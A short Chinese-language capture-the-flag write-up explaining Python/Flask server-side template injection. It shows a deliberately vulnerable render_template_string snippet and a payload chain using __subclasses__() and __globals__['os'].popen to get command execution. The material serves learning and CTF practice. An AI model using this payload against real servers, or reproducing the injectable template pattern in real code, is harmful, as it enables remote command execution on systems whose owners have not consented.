• XCTF pyton模板注入wp


    因为最近要学习python的注入,所以再次写次记录。

    如果不清楚什么是模板注入,请看我上一篇文章

    根据提示,是python的模板

     

    什么是模板注入呢?

    为了写 html 代码的时候方便,很多网站都会使用模板,先写好一个 html 模板文件,

    比如:

    ```python
    def test():
    code = request.args.get('id')
    html = '''   <h3>%s<h3> '''%(code) return render_template_string(html) ```

    这段代码中的 `html` 就是一个简单的模板文件,当开发者想要这个模板对应的样式 时,可以直接用 `render_template_string` 方法来调用这个模板,从而直接把这个样 式渲染出来。

    而模板注入,就是指 **将一串指令代替变量传入模板中让它执行** ,以这段代码为 例,我们在传入 `code` 值时,可以用 `{{}}` 符号来包裹一系列代码,以此替代本应是 参数的 `id` : 

    '''
    http://..../?id={{代码}} '''

    验证漏洞,可以看见1+1被成功执行了,接下来可以想办法拿flag了。

    查看一下所有的模块,/{{[].__class__.__base__.__subclasses__()}},找到我需要调用的site._Printer('os'),列在72位。

    通过`__subclasses__()[71].__init__.__globals__['os'].popen('命令 行语句').read()` 来进行命令执行

     

  • 相关阅读:
    np.clip()的用法
    np.random.RandomState(123)
    torch.utils.data.DataLoader用法及各参数含义
    source 1.7 中不支持 lambda 表达式(请使用 -source 8 或更高版本以启用 lambda 表达式)
    tensorflow note
    tensorflow-gpu install check
    python3 yum not found
    Python打包成exe,pyc
    windows定时执行python脚本
    docker guide
  • 原文地址:https://www.cnblogs.com/nu0l/p/13280433.html
Copyright © 2020-2023  润新知